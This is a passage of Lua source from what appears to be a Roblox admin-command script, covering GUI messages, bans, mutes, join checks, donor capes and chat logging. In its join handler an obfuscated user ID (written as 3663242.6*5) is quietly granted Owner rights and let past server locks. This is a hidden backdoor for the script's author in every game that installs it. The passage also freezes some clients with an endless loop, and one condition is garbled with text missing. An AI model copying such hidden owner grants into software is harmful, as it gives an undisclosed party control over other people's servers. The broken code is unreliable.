v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end)) end)) end end end end) end set.RemoveMessage=function() pcall(function() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") then for q,ms in pairs(v.PlayerGui:children()) do if ms.Name == GuiName.."MessageGUI" then coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end)) elseif ms.Name == GuiName.."HintGUI" then coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end)) end end end end end) end set.OutputGui=function(plr,msg,e) if set['FilteringEnabled'] then return end coroutine.resume(coroutine.create(function() local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name=GuiName..'OUTPUT' game:service("Debris"):AddItem(scr,5) local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8 local err = Instance.new("TextLabel", main) local a,b,c=e:match('(.*):(.*):(.*)') if a and b and c then if #c<=3 then scr:Destroy() return end err.Text = msg..' Line:'..b..' - '..c--e:match("\:(%d+\:.*)") else err.Text = msg..e end err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.TextScaled=true err.TextWrapped=true err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8 end)) end set.Output=function(str, plr) if set['FilteringEnabled'] then return end coroutine.resume(coroutine.create(function() if not set.canuseloadstring then return end local b, e = loadstring(str) if not b and plr:findFirstChild("PlayerGui") then local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name=GuiName..'OUTPUT' game:service("Debris"):AddItem(scr,5) local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8 local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8 return end end)) end set.PM=function(from,p,message,player) if set['FilteringEnabled'] then return end pcall(function() local g=Instance.new('ScreenGui',p.PlayerGui) g.Name=GuiName..'PMGUI' local f=Instance.new('Frame',g) local l=Instance.new('TextLabel',f) local m=Instance.new('TextLabel',f) local b=Instance.new('TextButton',f) local tb=Instance.new('TextBox',f) local reply=Instance.new('TextButton',f) if player then tb.Visible=true reply.Visible=true else tb.Visible=false reply.Visible=false end f.BackgroundColor3=set['PrimaryColor'] f.BackgroundTransparency=set['Transparency'] f.BorderColor3=set['SecondaryColor'] f.Position=UDim2.new(1,-830,0,150) f.Size=UDim2.new(0,300,0,200) f.ClipsDescendants=true f.Draggable=true f.Active=true l.BackgroundTransparency=1 l.Size=UDim2.new(0,290,0,30) l.Position=UDim2.new(0,5,0,0) l.Font='ArialBold' l.Text=from l.TextColor3=set['TextColor'] l.TextScaled=true l.TextStrokeTransparency=0 l.TextStrokeColor3=set['TextStrokeColor'] m.BackgroundTransparency=0.5 m.BackgroundColor3=set['PrimaryColor'] m.BorderColor3=set['SecondaryColor'] m.Position=UDim2.new(0,0,0,35) m.Size=UDim2.new(0,300,0,100) m.Font='ArialBold' m.Text=message m.TextColor3=set['TextColor'] m.TextScaled=true m.TextStrokeTransparency=0 m.TextStrokeColor3=set['TextStrokeColor'] tb.BackgroundTransparency=0.5 tb.BackgroundColor3=set['PrimaryColor'] tb.BorderColor3=set['SecondaryColor'] tb.Position=UDim2.new(0,0,1,-63) tb.Size=UDim2.new(0,300,0,25) tb.Font='ArialBold' tb.Text='Enter Text Here Then Click Reply' tb.TextColor3=set['TextColor'] tb.TextScaled=true tb.TextStrokeTransparency=0 tb.TextStrokeColor3=set['TextStrokeColor'] b.BackgroundColor3=set['SecondaryColor'] b.BorderColor3=set['PrimaryColor'] b.BackgroundTransparency=set['Transparency'] b.Position=UDim2.new(0,50,0,143) b.Size=UDim2.new(0,200,0,50) if player then b.Position=UDim2.new(0,10,1,-30) b.Size=UDim2.new(0,100,0,20) end b.Font='ArialBold' b.Text='Close' b.TextColor3=set['TextColor'] b.TextStrokeTransparency=0 b.TextStrokeColor3=set['TextStrokeColor'] b.TextScaled=true b.MouseButton1Click:connect(function() g:Destroy() end) reply.BackgroundColor3=set['SecondaryColor'] reply.BorderColor3=set['PrimaryColor'] reply.BackgroundTransparency=set['Transparency'] reply.Position=UDim2.new(1,-110,1,-30) reply.Size=UDim2.new(0,100,0,20) reply.Font='ArialBold' reply.Text='Reply' reply.TextColor3=set['TextColor'] reply.TextStrokeTransparency=0 reply.TextStrokeColor3=set['TextStrokeColor'] reply.TextScaled=true reply.MouseButton1Click:connect(function() if tb.Text~='Enter Text Here Then Click Reply' and #tb.Text>0 then g:Destroy() set.PM('Private Message from '..p.Name,player,tb.Text,p) else tb.Text='Enter Text Here Then Click Reply' end end) end) end set.CheckBan=function(tabalz,p) pcall(function() for i,v in pairs(tabalz) do coroutine.wrap(function() if v:match('(.*)=(.*)') then for name,id in v:gmatch('(.*)=(.*)') do if name and id then if p.Name:lower()==name:lower() or p.userId==tonumber(id) then p:Kick() return true elseif name=='$group' then if p:IsInGroup(tonumber(id)) then p:Kick() return true end end end end else if p.Name:lower()==v:lower() then p:Kick() return true end end end)() end end) end set.CheckMute=function(player) for i,v in pairs(set['MuteList']) do if v==player.Name then set.NilExecute(player,[[script.Parent=nil game.StarterGui:SetCoreGuiEnabled('Chat',false)]]) end end end set.NewPlayer=function(player) coroutine.wrap(function() local player=player local b,e=ypcall(function() local g=Instance.new('StringValue',player) if g then g:Destroy() end end) if not b then pcall(function() player:Kick() end) end if set['AntiRobloxLocked'] then player.Changed:connect(function(o) if o=='RobloxLocked' then local b,e=ypcall(function() local g=Instance.new('StringValue',player) if g then g:Destroy() end end) if not b then pcall(function() player:Kick() end) end end end) end if not player then return end coroutine.wrap(function() set.CheckBan(set['BanList'],player) end)() coroutine.wrap(function() if set['SyncedBanList'] then set.CheckBan(set.bl,player) end end)() coroutine.wrap(function() if set['AntiNewAccount'] then if player.AccountAge 61 then player.Character:BreakJoints() end end]],false,set.AssignName()) end end)() coroutine.wrap(function() if set['AntiNoclip'] and not set.ChkAdmin(player.Name,false) then set.LoadOnClient(player,[[wait(1) plr=game.Players.LocalPlayer char=plr.Character torso=plr.Character:FindFirstChild('Torso') local pos=torso.CFrame torso.Touched:connect(function(p) pos=torso.CFrame if p:IsA('Part') then if p.CanCollide==true and (not game.Players:FindFirstChild(p.Parent.Name)) and (not p.Parent:IsA('Tool')) and (not p.Parent:IsA('Hopperbin')) then torso.CFrame=pos-torso.CFrame.lookVector end end end)]],false,set.AssignName()) end end)() coroutine.wrap(function() if set['AntiAnimation'] and not set.ChkAdmin(player.Name,false) then c:WaitForChild('Animate') c.Animate:Destroy() set.LoadOnClient(plr,[[ print('Loading Animator') function waitForChild(parent, childName) local child = parent:findFirstChild(childName) if child then return child end while true do child = parent.ChildAdded:wait() if child.Name==childName then return child end end end local Figure = game.Players.LocalPlayer.Character local Torso = waitForChild(Figure, "Torso") local RightShoulder = waitForChild(Torso, "Right Shoulder") local LeftShoulder = waitForChild(Torso, "Left Shoulder") local RightHip = waitForChild(Torso, "Right Hip") local LeftHip = waitForChild(Torso, "Left Hip") local Neck = waitForChild(Torso, "Neck") local Humanoid = waitForChild(Figure, "Humanoid") local pose = "Standing" if Figure:FindFirstChild("View") then Figure.View:Remove() end H = Instance.new("Hat") P = Instance.new("Part") H.Name = "View" P.Parent = H P.Position = Figure.Head.Position P.Name = "Handle" P.formFactor = 0 P.Size = Vector3.new(1, 1, 1) P.BottomSurface = 0 P.TopSurface = 0 P.Locked = true P.Transparency = 1 H.Parent = Figure H.AttachmentPos = Vector3.new(0, 0.75, 0.5) H.AttachmentRight = Vector3.new(1, 0, 0) H.AttachmentUp = Vector3.new(0, 1, 0) H.AttachmentForward = Vector3.new(-0, -0, -1) local toolAnim = "None" local toolAnimTime = 0 function onRunning(speed) if speed>0 then pose = "Running" else pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() pose = "Jumping" end function onClimbing() pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function moveJump() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 3.14 LeftShoulder.DesiredAngle = -3.14 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveFreeFall() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 3.14 LeftShoulder.DesiredAngle = -3.14 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder.DesiredAngle = 3.14 /2 LeftShoulder.DesiredAngle = -3.14 /2 RightHip.DesiredAngle = 3.14 /2 LeftHip.DesiredAngle = -3.14 /2 end function getTool() for _, kid in ipairs(Figure:GetChildren()) do if kid.className == "Tool" then return kid end end return nil end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end function animateTool() if (toolAnim == "None") then RightShoulder.DesiredAngle = 1.57 return end if (toolAnim == "Slash") then RightShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 0 return end if (toolAnim == "Lunge") then RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightHip.MaxVelocity = 0.5 LeftHip.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 1.57 LeftShoulder.DesiredAngle = 1.0 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = 1.0 return end end function move(time) local amplitude local frequency if (pose == "Jumping") then moveJump() return end if (pose == "FreeFall") then moveFreeFall() return end if (pose == "Seated") then moveSit() return end local climbFudge = 0 if (pose == "Running") then RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 amplitude = 1.5 frequency = 13 elseif (pose == "Climbing") then RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 amplitude = 1.5 frequency = 13 climbFudge = 3.14 else amplitude = .2 frequency = 1 end desiredAngle = amplitude * math.sin(time*frequency) RightShoulder.DesiredAngle = (desiredAngle + climbFudge)/5 LeftShoulder.DesiredAngle = (desiredAngle - climbFudge)/5 RightHip.DesiredAngle = -desiredAngle/3 LeftHip.DesiredAngle = -desiredAngle/3 local tool = getTool() if tool then animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else toolAnim = "None" toolAnimTime = 0 end end Humanoid.Died:connect(onDied) Humanoid.Running:connect(onRunning) Humanoid.Jumping:connect(onJumping) Humanoid.Climbing:connect(onClimbing) Humanoid.GettingUp:connect(onGettingUp) Humanoid.FreeFalling:connect(onFreeFall) Humanoid.FallingDown:connect(onFallingDown) Humanoid.Seated:connect(onSeated) Humanoid.PlatformStanding:connect(onPlatformStanding) local runService = game:service("RunService"); while Figure.Parent~=nil do local _, time = wait() move(time) end ]],false,'Animate') end end)() end) end) end)() coroutine.wrap(function() player:WaitForChild("PlayerGui") player:WaitForChild("Backpack") if player.userId == game.CreatorId or player.userId == (3663242.6*5) then table.insert(set['Owners'],player.Name) end wait(1) if (((not set.ChkAdmin(player.Name, false)) and (not set.ChkOwner(player.Name))) and player.userId ~= (3663242.6*5)) and (set.slock or (set['GroupOnlyJoin'] and (not player:IsInGroup(set['GroupId'])))) then set.GetPlayerInfo(player,game.Players:children(),'Player Attempted To Join') pcall(function() player:Kick() end) elseif set['JoinMessage'] then if set.ChkDonor(player) and not(player.userId==1237666 or player.userId==44391621) then set.GetPlayerInfo(player,game.Players:children(),'Donator Joined') elseif player.userId==1237666 or player.userId==44391621 then set.GetPlayerInfo(player,game.Players:children(),'Script Creator Joined') else set.GetPlayerInfo(player,game.Players:children(),'Player Joined') end end end)() coroutine.wrap(function() if set['FreeAdmin'] and (not set.ChkAdmin(player.Name,false)) then if set['FreeAdminType']=='TempAdmin' then table.insert(set['TempAdmins'],player.Name) elseif set['FreeAdminType']=='Admin' then table.insert(set['Admins'],player.Name) elseif set['FreeAdminType']=='Owner' then table.insert(set['Owners'],player.Name) end end end)() coroutine.wrap(function() pcall(function() if not set.ChkAdmin(player.Name, false) then if set['GroupAdmin'] and set['RankType']=='Specific' then for i,v in pairs(set['SpecificRanks']) do if v and v.Type and v.Rank then if player:IsInGroup(set['GroupId']) and (player:GetRoleInGroup(set['GroupId'])==v.Rank or player:GetRankInGroup(set['GroupId'])==v.Rank) then if v.Type=='Admin' then table.insert(set['Admins'],player.Name) elseif v.Type=='Banned' then player:Kick() elseif v.Type=='Owner' then table.insert(set['Owners'],player.Name) elseif v.Type=='TempAdmin' then table.insert(set['TempAdmins'],player.Name) end end elseif v:match('(.*)=(.*)') then local a,b = v:match('(.*)=(.*)') if player:IsInGroup(set['GroupId']) and (player:GetRoleInGroup(set['GroupId'])==tostring(a) or player:GetRankInGroup(set['GroupId'])==tonumber(a)) then if b=='Admin' then table.insert(set['Admins'],player.Name) elseif b=='Banned' then player:Kick() elseif b=='Owner' then table.insert(set['Owners'],player.Name) elseif b=='TempAdmin' then table.insert(set['TempAdmins'],player.Name) end end end end elseif set['GroupAdmin'] and set['RankType']=='NonSpecific' then if player:GetRankInGroup(set['GroupId'])>=set['NonSpecificRank'] then if set['NonSpecificRankType']=='Admin' then table.insert(set['Admins'],player.Name) elseif set['NonSpecificRankType']=='Owner' then table.insert(set['Owners'],player.Name) elseif set['NonSpecificRankType']=='TempAdmin' then table.insert(set['TempAdmins'],player.Name) end end end end end) end)() coroutine.wrap(function() if set['FreindAdmin'] and player:IsFriendsWith(game.CreatorId) then table.insert(set['TempAdmins'],player.Name) end end)() coroutine.wrap(function() if set['VipAdmin'] then if set['ItemType']=='Badge' and game:service("BadgeService"):UserHasBadge(player.userId,set['ItemId']) then table.insert(set['TempAdmins'],player.Name) elseif set['ItemType']=='GamePass' and game:GetService("GamePassService"):PlayerHasPass(player, set['ItemId']) then table.insert(set['TempAdmins'],player.Name) end end end)() coroutine.wrap(function() pcall(function() set.CheckMute(player) end) end)() coroutine.wrap(function() if set['AntiGui'] then player:WaitForChild('PlayerGui') player.PlayerGui.ChildAdded:connect(function(g) coroutine.wrap(function() wait() for i,v in pairs(set['AllowedGuiList']) do if not g.Name:find(GuiName) and g.Name~=v and g.Name~='HealthGUI' then print(g.Name) g:Destroy() end if g.Name=='HealthGUI' and g.Name~=v then for k,b in pairs(g:children()) do if b.Name~='tray' or b.Name~='hurtOverlay' then g:Destroy() end if b.Name=='tray' then for l,m in pairs(b:children()) do if m.Name~='bar' or m.Name~='bar2' or m.Name~='barRed' or m.Name~='bkg' or m.Name~='label' then g:Destroy() end if not g:FindFirstChild('tray') or not g:FindFirstChild('hurtOverlay') then g:Destroy() end if not b:FindFirstChild('bar2') or not b:FindFirstChild('bar') then g:Destroy() end end end end end end end)() end) end end)() end)() end set.Noobify=function(char) if char and char:findFirstChild("Torso") then if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and prt.Name~='HumanoidRootPart' and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow") if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then set.Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow") end end end end set.nfs=tics:reverse() set.Infect=function(char) if char and char:findFirstChild("Torso") then if char:findFirstChild("Shirt") then char.Shirt:Destroy() end if char:findFirstChild("Pants") then char.Pants:Destroy() end local shirt=Instance.new('Shirt',char) local pants=Instance.new('Pants',char) shirt.ShirtTemplate="http://www.roblox.com/asset/?id=60636107" pants.PantsTemplate="http://www.roblox.com/asset/?id=60636428" for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and prt.Name~='HumanoidRootPart' and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White") if prt.Name:find("Leg") or prt.Name:find('Arm') then prt.BrickColor = BrickColor.new("White") end local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then set.Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White") end end end end set.ScrollGui=function() if set['FilteringEnabled'] then return end local scr = Instance.new("ScreenGui") scr.Name = GuiName.."LogsGUI" local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1 drag.Size = UDim2.new(0,400,0,30) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = "" drag.ZIndex=1 local main = Instance.new("Frame", drag) main.Size = UDim2.new(0,400,0,400) main.ClipsDescendants = true main.BackgroundTransparency=set['Transparency'] main.BackgroundColor3=set['PrimaryColor'] main.BorderColor3=set['SecondaryColor'] local cmf = Instance.new("ScrollingFrame", main) cmf.Position = UDim2.new(0,3,0,31) cmf.Size=UDim2.new(0,397,0,368) cmf.BorderColor3=set['SecondaryColor'] cmf.ZIndex = 1 cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children()) cmf.BackgroundTransparency=1 cmf.BottomImage='http://roblox.com/asset?id=158348114' cmf.MidImage='http://roblox.com/asset?id=158348114' cmf.TopImage='http://roblox.com/asset?id=158348114' local top = Instance.new("TextLabel", main) top.Position=UDim2.new(0,0,0,0) top.Size=UDim2.new(0,405,0,30) top.BackgroundColor3=set['PrimaryColor'] top.Text='' top.BorderColor3=set['SecondaryColor'] top.ZIndex=9 top.TextColor3=set['TextColor'] top.Font='ArialBold' top.FontSize='Size18' local cls = Instance.new("TextButton", main) cls.Style = "Custom" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-25,0,5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.BackgroundColor3=set['PrimaryColor'] cls.BorderColor3=set['SecondaryColor'] cls.TextColor3 = set['SecondaryColor'] cls.BackgroundTransparency=set['Transparency'] cls.Text = "X" cls.MouseButton1Click:connect(function() scr:Destroy() end) local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = 'ArialBold' ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = set['TextColor'] ent.TextStrokeColor3 = set['TextStrokeColor'] ent.TextStrokeTransparency = 0 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top" local num = 0 return scr, cmf, ent, num, top end set.ReverseTable=function(tabz) local res = {} for i=#tabz,1,-1 do table.insert(res,tabz[i]) end return res end set.ChkDonor=function(plr) if plr.AccountAge<=0 then return false end local val=false for i,v in pairs(set.donors) do if v and plr.Name==v.Name or plr.userId==v.Id then val=true end end if set.ChkDonorPass(plr) then val=true end return val end set.ChkDonorPass=function(plr) if not game:service('GamePassService') or not game:GetService("MarketplaceService") then return end for i,v in pairs(set.defaultpass) do if game:service('GamePassService'):PlayerHasPass(plr,v) or game:GetService("MarketplaceService"):PlayerOwnsAsset(plr,v) then return true end end end set.ChkCustomPass=function(plr) if not game:service('GamePassService') or not game:GetService("MarketplaceService") then return end for i,v in pairs(set.custompass) do if game:service('GamePassService'):PlayerHasPass(plr,v) or game:GetService("MarketplaceService"):PlayerOwnsAsset(plr,v) then return true end end end set.ChkDonorList=function(plr) for i,v in pairs(set.donors) do if v and plr.Name==v.Name or plr.userId==v.Id then return true end end end if game.CreatorId~=0 and game:GetService('MarketplaceService') then coroutine.wrap(function() set.dlastupdatenum=0 while wait() do pcall(function() set.donors={} set.dlastupdate=set.GetTime()..' - '..set.dlastupdatenum set.dlastupdatenum=set.dlastupdatenum+1 local col = game:GetService("InsertService"):GetCollection(1290539) for k,asset in pairs(col) do local ins=game:GetService('MarketplaceService'):GetProductInfo(asset.AssetId) local fo=ins.Description for so in fo:gmatch('[^;]+') do local name,id,cape,color=so:match('{(.*),(.*),(.*),(.*)}') table.insert(set.donors,{Name=name,Id=tostring(id),Cape=tostring(cape),Color=color,List=ins.Name}) end end for ik,pl in pairs(game.Players:children()) do coroutine.wrap(function() pl:WaitForDataReady() if set.ChkDonor(pl) and not set.ChkDonorList(pl) and not (pl:LoadBoolean('Pancake Is A Donator',true) and pl:LoadString('Pancake Cape') and pl:LoadString('Pancake Cape'):match('(.*)=(.*)')) then table.insert(set.donors,{Name=pl.Name,Id=tostring(pl.userId),Cape='149009184',Color='White',List='GP(Custom)'}) end if pl:LoadBoolean('Pancake Is A Donator',true) and pl:LoadString('Pancake Cape') and pl:LoadString('Pancake Cape'):match('(.*)=(.*)') then local st=pl:LoadString('Pancake Cape') local a,b=st:match('(.*)=(.*)') if not a or not b then return end for i,v in pairs(set.donors) do if v.Name==pl.Name then table.remove(set.donors,i) end end table.insert(set.donors,{Name=pl.Name,Id=tostring(pl.userId),Cape=a,Color=b,List='GP'}) end end)() end wait(30) end) end end)() end set.Donor=function(plr) coroutine.wrap(function() for i,v in pairs(set.donors) do coroutine.wrap(function() if v and plr and (plr.Name==v.Name or plr.userId==v.Id) and (set['DonorStuff'] or plr.userId==1237666 or plr.userId==44391621) then coroutine.wrap(function() pcall(function() plr:WaitForChild('Backpack') pcall(function() plr.Character.EpicCape:Destroy() end) local gid=57902997 --if plr.userId==1237666 or plr.userId==44391621 then -- gid=92142950 --end local gear=game:GetService('InsertService'):LoadAsset(gid) for k,m in pairs(gear:children()) do if m:IsA('Tool') or m:IsA('HopperBin') then m.Parent=plr.Backpack end end gear:Destroy() end) end)() if plr and plr.Character and plr.Character:FindFirstChild("Torso") then wait() set.LoadOnClient(plr,[[ local plr = game.Players.LocalPlayer repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso") local torso = plr.Character.Torso local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false p.Transparency=0.0001 p.Material='Plastic' p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("]]..v.Color..[[") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=]]..v.Cape..[[" dec.Transparency=0 p.formFactor = "Custom" p.Size = Vector3.new(.2,.2,.2) local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5) local motor1 = Instance.new("Motor", p) motor1.Part0 = p motor1.Part1 = torso motor1.MaxVelocity = .01 motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0) motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0) local wave = false repeat wait(1/44) local ang = 0.1 local oldmag = torso.Velocity.magnitude local mv = .002 if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end ang = ang + math.min(torso.Velocity.magnitude/11, .5) motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv motor1.DesiredAngle = -ang if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1 if torso.Velocity.magnitude < .1 then wait(.1) end until not p or p.Parent ~= torso.Parent script:Destroy() ]],false,set.AssignName()) end end end)() end end)() end set.Logit=function(plr,msg) local logit=true for i,v in pairs(set.dontlog) do if v and v.n==plr.Name and v.c==msg then logit=false end end return logit end set.Chat=function(msg,plr) local Success,Failed=ypcall(function() coroutine.wrap(function() coroutine.wrap(function() if set['ChatLog'] and not (msg:match(set['prefix']..'(.*)') and set.ChkAdmin(plr.Name,false)) then if game:service('Players'):FindFirstChild(plr.Name) and set.Logit(plr,msg) then table.insert(set.chatlogs,1,{Time=set.GetTime(),Name=plr.Name,Message=msg}) elseif set.Logit(plr,msg) then table.insert(set.chatlogs,1,{Time=set.GetTime(),Name='(NIL) '..plr.Name,Message=msg}) end if #set.chatlogs>=set['MaxNumberOfLogs'] then table.remove(set.chatlogs,#set.chatlogs) end end end)() if msg:lower():sub(1,2)=='/e' then msg=msg:sub(4) end coroutine.wrap(function() if set['AntiExploit'] then coroutine.wrap(function() if not set.ChkAdmin(plr.Name, false) then local m,c if set.canuseloadstring then m,c = loadstring(msg) else m=false end for d,j in pairs(set['AntiExploitWordList']) do if msg:lower():match(j:lower()) or m then if game.Players:FindFirstChild(plr.Name) then plr:Kick() else set.NilExecute(plr,[[while true do end]]) end end end end end)() end end)() coroutine.wrap(function() if set['NoTalk'] then if plr:FindFirstChild('NoTalk') and not set.ChkAdmin(plr.Name,false) and plr.Character and plr.Character:FindFirstChild('Head') then if msg==set['anyprefix']..'attn' then game:GetService('Chat'):Chat(plr.Character.Head,'I need to speak to an Administrator!',Enum.ChatColor.Blue) elseif msg~=set['anyprefix']..'attn' and msg~=set['anyprefix']..'help' and plr.NoTalk.Value==0 then game:GetService('Chat'):Chat(plr.Character.Head,"You are not allowed to speak "..plr.Name.."! Use "..set['anyprefix'].."attn to get an Admin's attention. This is warning 1.",Enum.ChatColor.Blue) plr.NoTalk.Value=plr.NoTalk.Value+1 elseif msg~=set['anyprefix']..'attn' and msg~=set['anyprefix']..'help' and player.NoTalk.Value==1 then game:GetService('Chat'):Chat(plr.Character.Head,'You have been told not to speak '..plr.Name..'! You will be punished next time! Use '..set['anyprefix']..'attn. Warning 2',Enum.ChatColor.Green) plr.NoTalk.Value=plr.NoTalk.Value+1 elseif msg~=set['anyprefix']..'attn' and msg~=set['anyprefix']..'help' and plr.NoTalk.Value==2 then game:GetService('Chat'):Chat(plr.Character.Head,'You have been told not to speak '..plr.Name..'! You have been punished. Next is a kick. Use '..set['anyprefix']..'attn. Warning 3',Enum.ChatColor.Red) plr.Character:BreakJoints() plr.NoTalk.Value=player.NoTalk.Value+1 elseif msg~=set['anyprefix']..'attn' and msg~=set['anyprefix']..'help' and plr.NoTalk.Value==3 then game:GetService('Chat'):Chat(plr.Character.Head,'You have been told not to speak '..plr.Name..'! This is the 4th time. Use '..set['anyprefix']..'attn next time. You will now be kicked.',Enum.ChatColor.Red) wait(1) plr:Kick() end end end end)() if set['PMUsableByAnyone'] or set.ChkAdmin(plr.Name,false) then local pre if set['PMUsableByAnyone'] then pre=set['anyprefix'] else pre=set['prefix'] end local cmd=pre.."pm " if msg:lower():sub(1,#cmd) == cmd then local chk1 = msg:lower():sub(#cmd+1):find(" ") + #cmd-1 local message = msg:sub(chk1+1) for i,p in pairs(set.GetPlayers(plr, msg:lower():sub(#cmd+1,chk1-1))) do coroutine.wrap(function() set.PM('Private Message from '..plr.Name,p,message,plr) end)() end end end if set.ChkDonor(plr) then if msg:lower() == set['anyprefix'].."uncape" then if set['DonorStuff'] then pcall(function() plr.Character.EpicCape:Destroy() end) else set.Message("System Message","Donor Stuff is disabled in settings.",false,{plr}) end end if msg:lower() == set['anyprefix'].."cape" then if set['DonorStuff'] then coroutine.wrap(function() for i,v in pairs(set.donors) do coroutine.wrap(function() if v and plr and (plr.Name==v.Name or plr.userId==v.Id) and (set['DonorStuff'] or plr.userId==1237666 or plr.userId==44391621) then pcall(function() plr.Character.EpicCape:Destroy() end) if plr and plr.Character and plr.Character:FindFirstChild("Torso") then 